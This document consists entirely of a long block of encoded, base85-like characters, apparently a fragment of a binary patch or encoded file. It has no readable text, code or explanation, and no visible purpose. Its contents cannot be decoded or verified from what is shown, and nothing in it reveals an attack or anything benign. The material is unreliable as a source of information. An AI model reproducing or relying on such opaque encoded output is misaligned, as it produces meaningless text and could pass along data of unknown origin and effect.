z(K~+*>o&m-d=Z|lZH&x}L^YWkdxE=0ZCNs*6@cqKx6x6Q>ASPrFO7z-uziwMR4yu} zz|DTn-X0y-hCmY_0ZhL}A`qw|tvJqQW1A+wzmlnQEK~rP20%x48iTao7ERKkikLY) zT1`6x7AxhQKW7dbJ!Mi?@Wx@mA5rD2T@8?NFtGOPwMf(1aRutgb+wSmFtUioZA#s4 ztL_s8K++=L9abF&*~PQVd3;Gh(q1U{z>Q1)===+Uw3z=EMaw-`w(CCi0o?6VvU6zP zVGvnE0Dd|Fu(t8qdhVYRfXZLus`%buvMZ65rQDCo!L6r%REO&IdRz}sSjf6_=WbAN zOh7>N=RbjgPw(9eiin7;;zCfV(ws*LE6)pfelI0)eT-mm$?rjC?F%M;)a7p(GRGl<=fVvCqsVtyg&Dma(bCtZZTp zKC3xuj-TuUK%mOdvRiZdcb{sLA(m3I$ZC{zVsry!G~DUSJJJ-H^Z=}}`v$ifvcU_i z5H54-HeCsrK6Kfq|FYvP}_D!ehWZR!kS)4w;gXy-^%iQB8iIuC&v8)Ef8eHg*R{~ zNbuSkK_)m*;Vu%D2tyx{8Csq2;h6z-`%xn# z70d$wxx-x|G-5>0(KoYEL&oWPNYDF#jyzr6u=A3a#rnjvO_3I7;3YB3ez95>lm!Vu zNx-J&O$Ry_7(XRjh9J%7KQ_t82TNz6$6Bi%W1Z8a5_;B$?^+FO2*A%K0Pgb-cx}0W zjA=EnEz;oo34ldjp(I(G zRn8{+`DT38JWUqqc&ps<6%{soR$;@Jft6)`Vsq@&s_A$wP7IdSGbJ-NR7#QinFxl@ zs$p?f=@#>IEJN7ig_WCBr_)~1*RakjU+6>4+>e(ZY1@wSJ(-F2_n3Mb(AKK4QXEhk`(*Xpha zG6{UA2zzTI$c7vPn(i{MG16xKzTKl5AV_aFfDiWcM35n;;n#W`f^-8V=+h%(5v1<0 z>605GNZZYEa#<;pBc}SnXk%UaPdng}h@!=g)?JZCT_?<%K5p(t*JLh?F53&d$~9lC zVAdG_*Bmv+|AYXjQQp~MjgY?U-f7VsLKa;r&-B>%3z*r{7j*;Eb;dIkEn3h3X+8fA zScuQ|MUdeT?#7<@qajke@3^UBhE3RV`58xzN{F}GAq~&O@lZXFOri>9LeG8xUps#k zDRTdMI>U%UBm#*ck@6oLXo?^!#Nd?Y^b?!@6Uk43VyC^K+R zI|S)9b2)TD=z9UIuKds=tr4W-lofCreVD5fdQmR=1*zR{(%h*NChZJ;t5N28pIAP8 z#O(chHuY{$YuuR_fsiebaQ#*S5gQH}J#YW@m`}wtI!}+XA}7~F#=FvVQYQIxC*YH< z5af?=8dxzO4ndGU8~srsfd0WJu^UQ5+sm)i^|Q(%mlkGX5h3080;4LP~lPa?9mmox6(?~9o<5`jpj3-|>|e&^RLTe{xHG4NTQT=Fq0@aFxfB%Zi5{(-~I z@Z`c$o?KG$%Kz4u#S7;z+;Al+5#7+xx-nel7oW+~%pJoUJMK2!MZCo^O z;j(onJRjtgaiBpxwS@EOt>=-|3+Jx86qW?z8{|LP&=bJ;LsXfv^s^{rG+ObyxL~_m zQEzkE;y3`v{I#9 zoR{KvVEwX{8~3>czsW6tFQ>EFw8uU>R#~q&c>hfvS1#idAGq&WGT(aMnv0PsMFMf& z%Sh+j_g}mNz4D#$&}s<4e}w@2)yA{76`0Mv$g$_@9k~zOn73s-JHrgNv>FYLl5C*9`yFRl|}10JvY- z4M1F#07T;&06+oc0zQvjR?03b1G7~q;C-e6_^OtwE)ke955UJ4u9xoS{8tD7?)t_k z6H28V7}g`FTq!AoX)-Bva~5j_pANprk4Yku7+kqr$i(vG(D}w|v;vr)6$cx1 zp%%Z30V88mnGz#kQnBH4$xMM<%3)G!;(yj0HOK#s1CW_Kk(5_P1rwM|!6Wo=jDZOa z5*WIN$`MJ09583Wm2w%6f#(}$%S;9hX~A(tySwCWRqF^!49 z2qYS4GhrD6E_xMD=7T>`=p4CHL?;6##gR*eMpDH!HmJ5dhiYD0x!8?*Ay7|S@M-mz(9*Xr-v$Wb=bvqrvaO zrX{LZYEjIKRi)75S*Xl5Cspf-8{WW^BELtYCNeUNo6yw(caegp!>-k7gghnQd9Zqx z6*d^~+JX`@pwxkXqFQD^@+p6?_$i5}gBl>Wy00kwi2v1qThy3DFmfZgh%Ly^=Mzby z0>0i@&q^&|yaj3r^cK8QYw;Xo6~u47-npggtGS>$5kMcP6&i^|s|JNw3xg7+TqBWc zHKr0{zgUWi85&vi6ub*u0RO4`vQ?Gd)LbU>EuBUyk!TbubA8MN01pE?d-iNFbo26H z@L3*@SA_sP#Rz~#triJ|-gn$xo$P5;3YSwR;Bmj80l=DGr>m@<169{mDm36FmRdZ6 zMkSXijE|E4Jpq6%UwLX^C5A7voB)uqJgazGP?&HPPqj)S5wfw|t1$U0 zEWj=y0`P!cjAsHP5vt42ij|p4;1ls{Oa=c>WUj3_YL0&y2QbZXivr^W$LFItrL;wE z>8jU2-au!UPGnj98(%oGvp=N0enosoAWV85|G_`R9WX7yD zRSAIcq~y)SuEATw6yJxcx2LeKe_%dqgC{bqFpz0|nhFDRvdQF%au8bt7}TqfMjCsk+K z#Fl7uaxU!~^baIznGwIp`SgFFh6HuPc0`B-V;bWxypH&jHJvpC;6FkDik`cNrJD9u zVJR>7h4;;C#}C@R5m#VrU0(QQ=XXCg5mPGipAYx`}%UQ znJ!NAVWsh_v#iK3usij3vvugW)gR6{vLPIO8-jG9884FHA^vq*a{jgBspmY|rhxg% zoOcD@4rzz}O!b8E=4FIXRu-PfP{Ixi7hw@{VIuJbn*>3nocMr6gp7a}a<>%E;Pu|WIH|-usXngi5_%=GD#$e^0^1WX#b`H` zcW&O(<1ZmR&Gbn-bu`t^mm@GL4mmF(DMt>bIme1jcdN=$m{+b7w~Y&!alQ;6EV8(l zb7nL0DwGWhO5z6~g8K_xZpq^_Pj@(5wxT#Yj!niyAVshU&|+P|$;iEW_VqE_f(%gw z%Xk+w*`IO?jlq5Yk^mT`mZsn5=87$dvaUQXm|sxsD8dJa82B|g{E{lI z9OUXBQ&9i`F@-@d$d0+Ucf-T2KKje_$qH^ML5pYvQ2(2#VexIiy`-_G!K5j#_$4 zuXM5e(J5T?>f0##q!xlKTC%;;6O7rO2uX8(CpEo6 z*p>cU=SLS{T*SPYh|gXaD5ZFF-+*OzrN!aVJ^H-+psXSlek#iiecHC(-A*0j0&(1? zU@q?GKjT1Qsi}w1JleLcS#I|!H`avBKU@YMqt2b(#ed#m(&251H#0#)vM&s9?q!Q@ z6rXmhJ-QfRImwHZ6+1}xgR-`ck2nr90J9$N4V&md**4%Wz_^gPs|ST_glRrX z*4B4h2Cw0s8RIj_R$7)GKd^h!W0t|B4Ui-s3m$!5S_QD;h%M)GuvNE*%WX0btqf?< z<%Kr^@{{bioO^eO2Uk5>a~{LbPXm!AvF9A$O&J)r!2>==8UL)mRn+O*Su6T_jy=uB zA6fYL`IKo4f^j&=NHJOKc9HG}X6>3Bu?uGTMTx!rNbe{DQj{hNiXfuW zn~IHQWA@TJVMU+M>4gXS*)^of_LKtX0gTAFf zykT3(fuuP*q$ZTdXOc=tt^j~WXR_IB7L&jbM|(kOuOFl%bX z_je2gTzdX@zxYL`0|0>8^E0sfPbfJ5JZ1k)Q&^{KVVK-Z82c0CDLD||wT zS%M@n8JJT9jSgmu&8lR@A6h(qP~ZN&yR_*%VOMN6g~O(Un}d7foq(nsr6MQhDJ0N| zsmF)vd`&;Rw-i=7JbU* zIGh~~sX06U;#H9-hi{j&N=p`Q0n!uuhozZ;(15+-$5G)Yh`dPU+eThR+LiL2NK!2~ ziuWKzlp0+Yz;f97RP)bm3mrTp`VbUt(bRQUkZzfOT`1i${w(rtA%qw;w5k0{%3XSq zL_Zudy%G%e*qq?q@T%$~ea^I+RdnIp<0&mqw%Tq(<>h|+OD^3inl+}#*Q;R7B{wMgt-;cd5DB{;KO8&<$D!l}10NnMa*%Ma zXwBGb9cHkIs5T{qpZp+orCswNaoO+nLG!Onz5M#v{PX7vKkIf184U+$OG%hGo$YdK z!O<^bf6sv(cuu&pGPbd;88#f{t#7>hO`|<-U~9(tdI_zfe$|*v5CGt&K7h?vR>G_- zxb%;^yt`@ua3^4s(NJR|`qZe+LP4ck*(408!#|?L|KdfT)coA!vxiO>V44z|@0l}R zsd-sRXO3T`LPeLQiu&-#rf5=R)&^M4x#)G>^j%-vB#e%89su8mn2HQ}VG zkx3OXL0PHY$Cp<(mhsIf+DLg}ZI}a&C`G>{%-$)np}fjQ0Dx8{kx8X;l}4kKfo~GJ z8w0qDyZlev@d&D`MOD}~7lEu@&f`*= z+6>Yv#d4`ss??}8GKpAPErPNy3CQpaI=f6D5m#f~R4G&{u~1ko*J>34DurdN6W!bU z@z4)p9%2iJ0UdrBB85W2=W=-b@`^GNnM|uiO&;G(>o)qUT=2FkhavK5G=WsEgrnhC zl=FCihDxDGz^|+l3&mA9mZ4Qi6>^zaAQUN7ifR~^h{lvCRdPv{Kq!+dq(T}Mzy!>e zH}%gUofi8VEJ_ByN+y*-64Wvn83Im9g|NDs59#9zMb!d6xQHtdNoA61QMIHB>UT}j zyqoxXiPE`UL@f0dv zKn36i0RJ8U=z_F<6ccH&)rAEHyl@mCX~Mqk*ICY=nU^jVqOVp1@X04%VP~R=D0;_k zJZ&~!snuPq(_eD^07y`0yn>>kEt=5)V8f}6k6*ZimFEyt>M|)m{>Y5a;y;WRk7a|YDq4AC z*kP@s7L#?3+{G)nRZs&E)^i?|+{}^D3%68(r4cpVb0L-!q|Q5X;ZFR} z9c4tt&0NeQV34J3(?H*K39eF|{?Um?-=21zCEmtq;rsG15@rSNh6m4_4RaDMLJ3=V zaD3Qt@a*zpKA23SHndGo_{w*Mf4w^}njbrOG7r=4aJNi|K1@f^Tu1^`GGyj{wvve* zQ5y^HMhsm_$e*}kB=uDIgpE%BZQ-F&cR%%a-UY53b!yfpA2Z8Qo7sXtXW^xFk?U^4 z$qQc0o}|#J*wgy&KwNc3G;J&}IC&AhP%H=*~#U)GJ`=aVr=E z0Dyrw*vcx#-Hn3~q(%Q>LwmjVTK9#QC?YwFL3P^#xr@8}&q@9y3QKLI2F&f>;o}29 z^swjLUGdI4bEDO0b?mW)BRjS4*yn=7}Q~^cuP^ z%52Tu`6kl&0(gtXZF{fv@beTPUfh|}vFA^a@7Dliq1CJD5$6Zt_jz;V$snf9sz~(y z!bw8w5kIF_*XdnIcyC!aiqdz^=saZQJ!nUKdivX4ze=i-u^F`IV!Unu@QMLIkjJv0 z{|NxVpNdskT@F*?QS!V`|9QI@o}yZG@=AKv@vU1fXHvzg+LsOhT-U^uY0Emi4`ib( zARnM;9Ev72_elW~Y|pL$05tRgu;Y85t(~6PKw=rKwWnai=1wP@Hx-Z0!6p zc<7t>px=mMKa!Nklrk$Zxrd)Uq~(J+BB~5-d!eIx`yj~GwfAu&cU8jPz+p>RB&oC@ zR{{TCm_D&nVk&;O6n|tGkl@s@JG=&b!e*6I7q|1;1d)LBkEuQ@y-e1sl!0yHe4wU= z@KjjWH~4r7G1NxqvKe1q>-bGI6gYKxAN3CZ8Q>2_MEgD^KnSn889ZnT2cAve_CWeU zu}*WzyUWxvB@m#)1KM^?^P^W>TXcKG_tgZp$V>llXwepF56Taa-P7$9r*nPYsBxOOtXmpx*~orOIpQm}vIsu`B{1B2eyhhM<7Z5+EM;r z9x6}CRdN+z_c)_~;s9XYym^4D;x6wpnd}K+K#kyk;7`!!L8%Z{RjQSWrT_pNiY)Ht zu?qnO5?OUh)bWcCfV^IO{YGp?T4ZQQSW1%j?NEo83d*{D^aAZU0f31B0Qni+hnKMk zK7^@bl9D@(6{wr|&J**Koz``98NiCXThZ?h=8JJysFUVrR~%gy-fuCiu-uM7CIFCT z_xn0*$hYv#kokR3+xZZ-#eEk&@fR@RP7@$p8mQ%kZJaS+(bhk{o;!Erfj?*V7<%LZ zOC{$}$?iP8?&2>0dkBDSLs{F0zw!3uQ-CXY%tDaS=c~-9T~(G7AMSJU*Rd^;o?GGR zTJFZ)Nbk==nL05&HS=+4gScT73QJ=vy)>=&ha30*xO&c4JGZZ!G3Mj_QmCCz35$xl zvVIhhxi8RBl)4u|-u2|0s3&J4NVi{t)iA8a&gq>7?_-*h0M(drCl3HO=N@gLITq-ivrvKa*X}{2q zVN$Z$W^?K4UT+QEbkA-tS%@G#PnH9QIky#n9U(Sz$<`i7m+v#tS{8}QsZ+DAuI-?bCs z;lKXo)p;J*7kFG>+34eWb5&g2YM2&q!HQ;`fHiU3y@xETBE0t*{0ql~m|>5(np(W) z6m~+dt2neeblljm{%HydUW87 zFF2XixFv(BEGBKy6rUcwBYq9U4q-*YBfBUx$28$)I;fbpc?~N=?YxOH{_ulw!+iRT zN{a^aPgT{aUn|)#Zl<-4UA*HUh6>QCvm3(3j}2Y;Ef=0HSCW3-#m7wWHOc#u_eJ3t zPI2dp+kIDw3F*J_xvYibmHxY*7OSqlakw}DiiWz3D+zNZ1W%mwaQj_sKttLI}et z-sgRNHpMt@Tb4I&Q1Fzg;U9m_Od$MEwOKbGeF#a2-f>sy7@sEX?87mA{T3dSi-IrB(O^(2DG_m#%J`J6I)`0hHvo{9-#$c9T)wJvXu(VQ*_ z^4@ajBlmdAptds)l7Tp4HqXx+X~)f78ZqWL?zz4hV~wDhKXtWnJ{v`9K7-`&FeVs+xYTY z1qT2C^0&jf%>FY8w7B*m(rP^$tvuT1jX}rZ@sr^2O+{K43QUx#=2(wk<` zN@&lS9^DN9UOfQ#>)wwiUYZHe(}VP>*f+QR9;JMFCP1~dwfFDe$7?1|ocAnw021Qk zo2)0|*t=r$=-U$yYHdw}`8)${|Bs5Rr?N63`QwF!xeg@s|9_V`!d9lo^y?gbycBzw zSwV01=NbP$QQ?{h3=|_)G#U-Qe;WaSIHv}{WHRV=8nsFxlZb=@wL;EnHV=UFDOaYP z{_{HKoG!Y(Z+{Yo0z;4g;z@C~sP;bVS^azfKx3+b_Y$odoOC$JjG4jV-SI!{o_dRI ztM@2w>;sVU{y@G2gVxi=aG=fFML(n$j>)Nu=JBDrEd0TnQ=!wg_Qs=et6|&Z&-~x} z5x#%**OI1g5nCDo099>8^41xhXC6zY7iH&U-k$Sr@6#zvwcHH=+{In~H#^A2ah6P1VK5v0QoD4a5X>fU-Dlo<-Q3~V{(+k}c*8G{Ia-v9vUP}-%b z9j0v!OekV-iq5S5aMtRx3i&x8LY%{_D3=cHy9MxF;fa<=k8sGcFLXqZrPlyAt+~5n za{GbX*|l0abh@RGDshpgYVRO;q8`mL0siIl^~g7SuY_v%>SBrkmHF%%(5dH7sd@{C zTug$Idzc!OdVVzW)`BD@OumKMN$Ur_JL;R;;EGGLk+)ZqP|MA32(rk_3VQo>)awuc z)Uikuwq8oRyrw-40GO92cbK*rC*kZ@bEd64Z9*USMvyOI%)bYdJGNiz1w?t(ovm|6 zjGp+x(7rRadK*wwlXZPk+b)OkP@n+8z z^(6T28q}%ho@9)KQZkv$&{_DG7mpp(4?)KKkG) zfB}F`FXjaN1hbrm(wM`*T`%ERDe7MKqqI3PSONLx=`Cw(P0fzeQPkp)B)!&(I-?u8 zo{QrL`NYQ|xHS6mjPkeh)2OCFnnb1U!dYG=o2wyYHWKXXvz_ACvF*oR9X)JYB-T!4?%kD zz@k@G`u9bUJ&_cp8vwYAyZp~W0Ez@fOHYgg!usr+tQwDqe8 zm)8q<5~)VZkGM49Eof8UbHeuY8dT@Mp$+o(j}MKglnRrDQ7AN)#z6O+0ox$MzXk(l zf8HMHzU&U*<$sMvkV$^f_wLx-_V0C_G;uKWF8H$uH8MyH6%^=q_G!Ps7lwBDv%iys z!?Oo=9kWS+qIZ{dLXg%yVb4RZ6rsAXl?d|ACBRj4p{dfwC><*Cg+0F3xld<6*61Ks zRmP1a2+}7Tkb84D^4c7qWQ7GV=dg5tTs_K!I;x*==yMH#R5Km<>$I zb0-CJ1Atcz0PZY5djH3h$mI4Tx+1NyJOHmm1Mun!F8$kVw&z6)e{+(L#~ObrN75F{ zOX}*?9h+mZ)$y#fcp}^99k9*XSgQN4(Q-7Xwf&8j15b|iiiyH96F;@*MgRaXL4`u$ zsA&QKVsHQei@~7RYSaq3w7N=wnE*AL3D~YzRF{|WYP+@`eQBjlgV@@0;9mVcI2Xr z=zX}1UG^V(sDEdJbtBlWJP$@K~TwI$iQw^C_GvQB`q9d~9NR5d{kv+N2A>B1&_U;*v57N@+|6B{wZ8F*%d3Hpo~xez$L2 zyXol@mMbyXq}hjoq`c#Xx0insxkAWiaB6BQ@9g~G^$zQbH408)3Ang4KQ-jO$F(b0 zJbc3GRT3c3LPvg52cT*pz&cTq)v_;v+(C?Ej)8f_!?HkE)r)#pN17{-K3$yf)*$1+67F zAR!r$P$p4nsu>YJ9@nd#L4yDQfB;EEK~!$u_D?CU5DJSjVYv;T zERJR`X=Ir2tfI5k_FN+7%az()WJ)U`SHU4!pJOIoA~^XE;2cbtHd|~EW!V}|k7Gjc z$$2JgF8fO$>SaJjR{(&={DA_xMgzX<^|}TCprj}+ng9UsqsIY&OeCyQ0RTX!`QC2| z02(Z!rtr7-(8!+7mdGTWC+69OXYgDZ55}z_lc_8YSHfje0b^myFb${8px{ZBN_zBx z{_oF7fi)I3om@hq%hjT&>z`o(a|Z6dmB5#9Xf&3_Y{PGjg~1`ZXUkx~2D4s5r-IRf z(a6}1T@k1(i3aptqhtdRgN>I7E4dO0mn#!y9$fiB>sB3l4IaIG*G-B{RxOs~hVC4X zMI{>ZV93oxA=(kk*~LjBVR?NZWS98hzeG(JnSVUd`sIa> zy3xP4QE6c1Vy=@_o8XzNR378adzd0uHk81gVw{65GZQaK%(OhK`P1{&G<^j2Cr*z2 z37z0St)?1@xJGY%!o1^m<$c+mlhX>2KY4v z008ziLFWX9ug_aXV0zcO2FvovnSf1>>|9VjCp1gXgypP6W2*xs02GI-q%2kfuUM>h zZ1|wYwT-o|4nT2hV*o%U(%L&xd)9w_0inX3N7!B5<-bF~Cz9flpS&X}WFS7)Z+5Wt zONoNB0LTkS#Roq?jnl!kvRbNE%Y^)jG7=Dy zX)d=WkzEo9!=4(CrV){V1b8nJ=Az(ifsYGxT*fQoa@pLn%4&(M3QKQ7A#pine6dWa z5LY~ngi?IS7zy=Ek>b3AbFT0<6l{3dxjxKYjAJS?J{2WTB7t01QC=yM%cVlviypbS z0l=#T0D(bwR~+-+bP581ZZ8M`um@A8V3T43{R09+qw+*h6K{}Jq(lVx2E{OicBh!5 z;@sMK;K56A0(MIO_{!M48G7d|T|W4ek2)>sY}y13+mZiON-NKA*(dMr{}m0yDK8E-;_7}8g4nVERk0)rGCS$!8lyncR6oPIY3 zD$P%XKK6$@U1pXEo-$_pGlQ1rx~f)|aw})o_N=|ftH|aigR~P;J)sgQ$yv29Kc~UT zxAPzz`< zM2)9KYIA!jgai@NAYE@C;7JW-T{q6sLPjz#@%^vMEJeXs7wr%N|Bk|PMy5lM7p-~MUQOk9fO zZkiW&IPJRFZ^++fG|4vu7}bE=CitO(?t|X| z1Zd%EEXdEjap?k!PB9wvjR3%l>^5v^NGsAGR4KERi!JCcbIM1RI$6la-8oEfB7jou==YtdygH9%q+#tYR+~q%G+(V|z6r8{d zUvzux^)>@PxtdZ0%Bb zVZ-dnYtCc}WNaEVprJGwAE6?^58=sF21`=-aL4ooo5R>zwWxWc8(Ni8r;*WNJ}$aU zrBR9nxHiRgc&;qd*$13jDm_2`=ArYEY(Z7xjTN2W?KWV^?~!D&goTGxsGlu|nG>OF zXz(1|0N}q!0}y=g^W#37Pa~5%jC`>$pu`)w{NY8PG#A5ji^)`re@pyhizn~p0|2M= zzi;1hO#1gj(IOPRXf<877#n}ghRc?kt0)@v8iK4?*)S8Zov_%h_+eVa?pUXIU3q<# zC-Pq4v?elP%_ND0heG{&pj@VKAOiC}2Na^B9FR}jQ&!f3y-pOT=US(3hJ z#Qo6=85x8LkeLyX{LzGnr9TvX_euEY2XPdw&wH4;W?tmHHLMH?J~_&`1K~q@`b_(g zUx_uyzmTy03TSI7Ivl;#%K+p&@>&1ZuU&n=Pr&#QVcQFUFvi;aVeW10S%^Ht$9)fE zdAp2Uw036jti{RuJaD;O{^)ST@P6Jy#w7e1PsB@7q-8Fh95QaCSI+_Yp%$Dr(e7~} zzh^rst(9gmHZKpKwU`q57$-xY?UDY)g1`YC@6Ox}qy7^Rijnrwn2bbR6t*=zu~j8q zOk6TMa>e$Fa(o62)mOGXm^IP2cbBl;kFfP57aaTU!Hf@ldi8nm7X^C`(y~4C?)Mn@ zU{5#>uxx^2-p^k~Oc-*v_s9$=W~V+{xE=#8%DfQ+=@hJyEG28n@Vk8`XL%FJb&UnL z<7Q6|9o5^T--k?S!5$pFV2cb6LPgrPHs2r4vhnfBfd0!Q&LLZIkC4Pi)2A}>P_#ap zWxZp79n}iXY2XK6mb1 zJdW+wty}R20|7untXw9^NKQygPV~Hajm>00oMJ=E%XuLIz5#w-RB|bYNe6(S-UJAL z8g;w}w~p*Ra4NJ^;1~rz`o^K%dr!yEaqws?PYXW%$KGEKU(ILBoY%2pPW^g`{&WCf zG(jTN*NlNnYj}?>;(Uw2{7lM|zvBtetpmd&tuosJYVho7t#dJ_P^VDXe{wOlHd zE0sJp1KJ1EnOvp5rpBn^VK%E2h5+P1GUxtae%Vj<)JMMD69$0$KF6Bf>=r(!lS7-eO@E{^)%0|>}PeOpK0 z7dJl9C+?n^HfMJ9heID8N+twN{o~v*6AEG(3K7q!gwly#O)VY&mfv3l2GaVjiTdt% z@sSNVhc6bbTa^=54nRWmz)3}MbYC8xtUg|;lc}NjYGrTic>e97k@IE;_HJ{t_XfO;y1bw)H|Fv5 z?h#jDL>AVP;ZeJN!M{oU+9g0q-9Vk)H+=sC)JDyp+AltU00q@QIROB)ibM zvhYk$r>@EV(6*@R^KO1y0!_+F1&3d2v=f#>D9YWlBJuZheBId_p4sZMPlS$IPNUPS zPtLf~VHIX%lO8{~M@opIRzOwaiFGO74@QhAjWH-Hsj5midzJg=_)Pn?N?1ag+ud(# z8WddPxA~7-!DeX{G^z&DM9QDl?q;WbaAM<9542T30qXzcN!Q^|<@oD~>Ga4X6_@$PNaJA`I19 z>mNV1Y7ALNz1|r_X6x;!$%vU#Sx_@;>yoHVmxMZ*ra}rWvT{y_j+{v=HYlicjR;Ow zjoDc7V}Fm2FFMZlHJK9!#$C-s4XH6byJo?`lo-VsS_7(7!pFE{#}3y-7Lz7Tas>bq zu_!AoS*KP$&dv<*y?4j+hUfKb-d=aJGt!iDMR^%?cr)mA4Ko2tA6`4|nNHTrif~+OlgeyYk(pJd0vlUM5 zqh6_mJs1`E7+DND$prw=XcgtmlFYPh5{+7zlTk?L3xz^jac4TJ@J=om^#0IqvdpMeE*6UgY-(0kP64%2z{$(Z$YGZA`IUTjer9q= zaCjb5C>H~9lq!^~WR41e4WhO)f`v-(PEaizr42DovnQ?P}d!)s-pp4w;Bu2GK`uN!UNY?|gIV1{` zUnQ<;Vh;nYgoF|iwllN9PV`)$^l!CCuDM>4jt(y`rLmMaco| zCL}aEC11ej=A=AK&M9G6h^hscIS-9mUe0`+mKYKeS;VcDi6CH+D&)N4^w5ydv_g7W z88p>rf%g#m`UnJ>=gGBbs;LbDfLL!SIMoe#YcqDPC|uq9^?@sI*P)jD#Hio^|Deb$ zcBNRzq*Kbv7^M7!;NZwyYPCcHCW0=IiOWk1$ej3JM!wd6Z2%d2cNH9;G-%ApGynjo zB_x_qEH009di%ltm{j`jpLsR4$^+6^#l6t!e_-d)n}e61#)W%D$btBs0geHQ=wHvs^~4?u z|3=WL@8A&BY1DPAk~V!GIp8gyZBWW%t)5j92E`=d&OSkB!M{-hb2;CRj=QOG z0D$pfhq8&MTJ+ofPCXv3`>lA}^1vapn8{G^5_~;4CbYJZ6%c4#w)cy~U*c@80Kj2u zUwv%&l`abk_U%brHq(E?CP+eEO3JK{xUS2fI5=+pSC#d@AE(S7UxFi%$`d|)zlB`q z(eBVM&Zz3!Bqq#VL@9&I9oi^-x>T>${r z6aD1AKeKCb4bageVW2nW#lJ2+#`Hv4zQ-;-5Y)SeSPIYnagyQ)4*EBVz_dDzR%=F0 z!b>$*5bdqL`rAECsoro`CGWf$8N#Cmjy3I+HG>ymYf+6rseJTyZ3w_L3*!Gt3g$Kc4m;0Z(lHS$mnsy22J=mpbV`m57xQn~E%c~dvVdNeTlb7JT z?lpX?zJ|1&bJc_@t}pHJ_TZg>i-oL2kb%dIsNHYR2k`GL5Tx~_t2qLL#afkiebK;{ z*ky0d+!-yaMQga1yCNO`j1{3kfF(2Zs;qT`Ti_kH9lt4_Z>&*^63?ugF=@<@z5^$( z{3TU_ni)QGdgCns7npfDUV~PjeFyw(4gT}`%-#3+S`Cv@pJ4=xxFaqr2>51n*Y1M` zv_p`IzeQCWb*a8z;Uu(p=dDiTe#wxd`aY4t_nA($k(=wfGv9cn95a& znGBVdd1>VUe0VLo&AUrhz;yFBH^2l0Sly>rNwq3QDTQgZtL|*>jSM{_vS^tu2mr<% zQd?M8W+QDT|9UbyBl5RV@4mPAFnCqfL~Q$T)PxB`d-nTi$IWs(D$6+ZE}SPY8*eQ- z6DS2QS9-v@A&`l-2LI{vOAcGEwplp0zvK{&Z!tcAUv#`Ve!s{2kcnvHj zUWo~iw|4+$0(1_@dnk%a{MViU0Ak)~fvi}ysgVW%`<0%wU>-dkvtGd{# zPI7*B;MOJppm`f<@PAQSzdocg!VU@#>{7m}Tkv&4jMF|?`{375NhMV-QSg4>LJg#& z($ii8cDjb`RNb5J`GE)aHORlij7lK6@s8hayA(=r%Hx6a585r)^`0RC2OV;_=(JDYC5=q$1slgiTqyAd*# z^t%g!8}uSgO8sailMJr5SZguyv@|q+?h>91)YQRPFDN5>!JrrqsB@_C`_yyPLD(k# zr|_lwCGeg#7|4i^o4X#zFcrIddTjtBeH7e%G80R1PG31N@(5sGAwKWT#GZ+TylhH# z5@steNh+Q@CgS^zMW^x!s!z=b+L~FvGzp?OS&QamKf(-iEVd^&qgIuUZ|(C#0&cw{ z+&(vSYml>*IrGfJg&PDWj7*CSze;<3?!Ec<98L7(ITO<(;fQ%Z437brPI+FRdtFxt z0Du~I0!~OsfRWwCj6t#N*SKSVQv(nk5n2wVeLIxQx{BppdYXB=0++bjR4r?jPHCExz1|T>d^2utsZw z8UQe6qB3c^~g9x{Fo29Y8 zKi*gP*Y9-L#C5Wihd++{$|LE{Z)^A8&py6n;`UIs+NP%z7gMQtA~1C=H+18iu|Hh# z_;Kwwf84mYqHn+b5fI*xqP?!3KlB-Rq0P8l3Fp{&Z0?8;fAI&?q^*?N%_SQKAg_-( z$Oj|V2ntISs4Zu~du=ucR--6wI)V&8M?(#4cT^yEahHG91c(Gr8yM;w4}0iA?hSi;ny ze9sw3&(+b)8Uu$+qRQ;*z>&zCd!m83nKI>dq{r7V>YAxMFWC3a$!`Iic=OBKkVUH~ z0W&)cz6QRUH7cF4GVRE_$Y6L#b#D=Z^uJPUv2v-U^^Qgqjz&if+77t){99Q16swX{ zLbXB?mW`hK6Fg3ju6o_!9~_>f+eDcRhYv2E_i+x2sTN;hCjc zesI4Y;XgmZYKk+bbo2Z4$HdWZU7vLUKQ65;jfx)8>Hd@jsb>Jyl{p`_4?X}T_?p7K zH;{P>u&WafhK!g}v~x#fALRZPc*2}Jxl1@^+f(`F+n(RRY~XT_^?vBj0gz9(}qfcK3M&ruwUx-SYk)MGp5_J7MvkbtHJi zLV>HRCh9y%N6j@^Y10P;&igWE$>J1GEM5=WKcZ*XY!cSQjD=P%JRQ_;B$tQ#cG@tL z`jg@P`h?A&>DO;OH3c47n>?1@9k&hx8CYm#G$Ur<8@I=PTlCYXA(NN#$e0Lzc!}?j zu@9yW^O?F{fYDU3Ylioz`AG}Mcyt`k%yT%}ULA7!ooQtb^K?V@Vc-6%rH%uB;*39L zv)`oklEy?4-%aeG#CeNTe?FA=@yN)7nYd2GlzTaHP#52imS-G^15{bkcKQySTd5~{ z#aD|(6&cyB&7Dz83PQnznNoVc`^Xc@+?=^@`tAe#PGVA(Yjrhv3SdzG`|rOmU%ni_ zw^FIBcLH_*fC>x%fDH@xY#A5duws$0F#xDHs!?*u1&>o6{Iz4d7rZm+)X|$o*uu&W zJAW}4NA9}V%YU2=qZ1y^_U8lupBR$D>H$E?7-MMy1OV(6hUg#&01^ip87yc&MqOk~ zkAc=!p1n=APc;80vOEMWZ`JSjdWA~dj>)TUqEdA=x7TwPCflOOouGUth9D5(>c^~jO%F&+fM;s4UqB?ph$;BI( z#*oP>60h!@J8AT&2}{oU=a*H8EU3=wyXn0rZ(^Zn9g{*cpfaC5Bl`|NSpX0Q19w^A z*ih!_sjWwE%#fjVa<0Wp{$W&?Y1<;e@UAa>?cML#X!&35S`Iq}*>m}x4_Xe|nS%oW zU7aT3;^*z!Ey=5?bxkY)hQiTWNEarz9Cip(dTaMiAF$vM5REbxy#Lnd)xRD1ekjs% zsy7R*%RTTWG6Eilrmb(&b44;w7xHzB7V}_*{>GeE1HK9%D*?yk-`miu``B{@fHBwA zl!t8?fgt@hUN~}K{db#w-hUg6OX~4W@BTAyFaS%XzZj!*1Atcw0HOnf?|*U1Z|gZ^ zYWtC0Upx_*T`#L7rzGVUk;{nyA!fO#0zSQx;?&ffvT7av^ekMT-%cgey*v{jqtSTj z(j`m}5Cbqk_ns{~cS1UMXy((k3o>K~)UT~w`(5J$T>LDt`hHNaLAhzTVRoIKLsRmg zG+4{0$T^B;DpCXSanW8)Id$=o;y>KQx0nMEV2rdzHJ(T zyo8DOqsocn-tyqZrYo?>q&fygRSCC~iAR!`5q31{`~>dR8|5iQdKV(q*}m)x_vICY znYtn~mUHHGS!A&hJLNX9N|geQLllO%sE!>J*`r%xq^!BU>ij9J^0~=Ae@#dgK@tp7 